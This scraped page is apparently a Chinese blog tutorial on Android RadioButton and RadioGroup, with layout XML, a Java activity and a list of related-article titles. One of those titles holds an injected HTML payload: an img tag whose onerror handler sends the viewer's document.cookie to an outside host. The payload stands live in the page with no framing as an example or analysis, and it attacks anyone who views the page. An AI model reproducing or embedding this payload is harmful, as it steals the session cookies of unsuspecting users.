Android学习实践:10.单选按钮RadioButton
来源:互联网 发布:ubuntu打开u盘命令 编辑:程序博客网 时间:2024/05/18 00:03
在项目中新建一个Android Activity,名为RadioButtonActivity,layout文件名为activity_radiobutton,title设为"单选"
activity_radiobutton.xml内容如下:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/LinearLayout1" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="maxwoods.demo1.RadioButtonActivity" ><RadioGroup android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/radioGroup01"> <RadioButton android:id="@+id/RadioButton01" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="大" /> <RadioButton android:id="@+id/radioButton1" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="小" /></RadioGroup><RadioGroup android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/radioGroup02"> <RadioButton android:id="@+id/RadioButton03" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="高" /> <RadioButton android:id="@+id/radioButton4" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="低" /></RadioGroup> <TextView android:id="@+id/textView1" android:layout_width="match_parent" android:layout_height="match_parent" android:text="TextView" /></LinearLayout>
上面使用了RadioGroup为每对互斥的选项进行了分组,同一个RadioGroup中的RadioButton只有一个能为选中状态。
RadioButtonActivity.java代码如下:
package maxwoods.demo1;import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;import android.widget.RadioButton;import android.widget.RadioGroup;import android.widget.TextView;import android.widget.RadioGroup.OnCheckedChangeListener;public class RadioButtonActivity extends AppCompatActivity implements OnCheckedChangeListener{@Overrideprotected void onCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);setContentView(R.layout.activity_radiobutton); RadioGroup rg01=(RadioGroup)findViewById(R.id.radioGroup01); rg01.setOnCheckedChangeListener(this); RadioGroup rg02=(RadioGroup)findViewById(R.id.radioGroup02); rg02.setOnCheckedChangeListener(this);}@Overridepublic boolean onCreateOptionsMenu(Menu menu){// Inflate the menu; this adds items to the action bar if it is present.getMenuInflater().inflate(R.menu.check_radio, menu);return true;}@Overridepublic boolean onOptionsItemSelected(MenuItem item){// Handle action bar item clicks here. The action bar will// automatically handle clicks on the Home/Up button, so long// as you specify a parent activity in AndroidManifest.xml.int id = item.getItemId();if (id == R.id.action_settings){return true;}return super.onOptionsItemSelected(item);}public void onCheckedChanged(RadioGroup group, int checkedId){StringBuilder sb=new StringBuilder();TextView tv=(TextView)findViewById(R.id.textView1);if(group.getId()==R.id.radioGroup01){sb.append("选择大小组\n");}else if(group.getId()==R.id.radioGroup02){sb.append("选择高低组\n");}RadioButton rb=(RadioButton)findViewById(checkedId);sb.append(rb.getText());tv.setText(sb.toString());}}
需要注意的是,事件监听代码应用于RadioGroup,在onCheckedChanged对单选按钮的选择作出响应,参数group为触发事件的RadioGroup,checkedId为所选的RadioButton的Id。最终运行效果如下图:
0 0
- Android学习实践:10.单选按钮RadioButton
- Android RadioButton 单选按钮
- Android---RadioButton(单选按钮)详解
- Android入门之单选按钮(RadioButton)
- Android 单选按钮RadioButton的使用
- android 单选按钮 RadioGroup RadioButton
- Android---18---RadioButton单选按钮
- Android控件:RadioButton(单选按钮)
- Android 单选按钮RadioButton的使用
- RadioButton单选按钮
- RadioButton单选按钮
- RadioButton单选按钮
- RadioButton单选按钮
- 单选按钮RadioButton
- 单选按钮RadioButton
- RadioButton单选按钮
- 单选按钮RadioButton
- Android用户界面基础之CheckBox(复选按钮)、RadioButton(单选按钮)学习
- MFC库中CObject
- 对象池的设计及其实现
- OkHttp使用教程
- Max Points on a Line
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- Android学习实践:10.单选按钮RadioButton
- 开源项目ExplosionField(爆炸特效)源码分析
- URLClassLoader使用方法及事例程序
- lightoj1418Trees on My Island【pick公式】
- 数据结构实践——计数的模式匹配
- ARM64的启动过程之(一):内核第一个脚印
- BC#59 (div.2) B
- 欢迎使用CSDN-markdown编辑器
- linux(centos)下非root用户执行管理命令